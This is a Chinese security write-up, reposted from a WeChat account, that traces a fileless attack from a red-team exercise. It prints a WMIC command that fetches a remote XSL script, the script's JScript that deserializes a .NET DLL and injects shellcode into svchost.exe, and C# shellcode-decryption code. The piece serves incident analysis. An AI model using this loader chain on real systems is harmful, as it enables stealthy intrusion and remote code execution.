无文件(Fileless)和不落地(Living off the Land)攻击已经非常流行,特别是在一些高等级的攻击实战中会出现。 理想的无文件攻击是只存在于内存中的后门,攻击人员会找一些长期开机的基础设施。 powershell字符串解析下载、mahta、rundll32、.NET assembly托管代码注入 文章作者:FFE4 原文地址:https://blog.csdn.net/cssxn/article/details/88956732
0x01 简述
C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
0x02 xsl文件分析
function autoversion()
{
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function run()
{
var serialized_obj = 'base64硬编码的C# DLL文件';
var cryptedcode = 'Base64加密的shellcode';
var entry_class = 'test';
try
{
autoversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(fmt.SurrogateSelector);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.call('svchost.exe', cryptedcode);
}
catch (e)
{
}
return 0;
}
0x03 C# DLL文件分析
0x04 shellcode分析
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace test
{
class Program
{
static string key = "xxx";
static string cryptedcode = "base64->des加密的shellcode";
public static byte[] Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = Convert.FromBase64String(pToDecrypt);
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
return memoryStream.ToArray();
}
static void Main(string[] args)
{
byte[] code = Decrypt(cryptedcode, key);
string filePath = Directory.GetCurrentDirectory() + "\123.txt";
if (File.Exists(filePath))
File.Delete(filePath);
FileStream fs = new FileStream(filePath, FileMode.Create);
fs.Write(code, 0, code.Length);
fs.Flush();
fs.Close();
int n = 123;
}
}
}
免责声明
郑重声明:本号所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途,否则后果自行承担!
一如既往的学习,一如既往的整理,一如即往的分享。感谢支持
“如侵权请私聊公众号删文”
扫描关注LemonSec
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号(LemonSec):2021攻防参考 | 一次红蓝对抗无文件攻击溯源
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论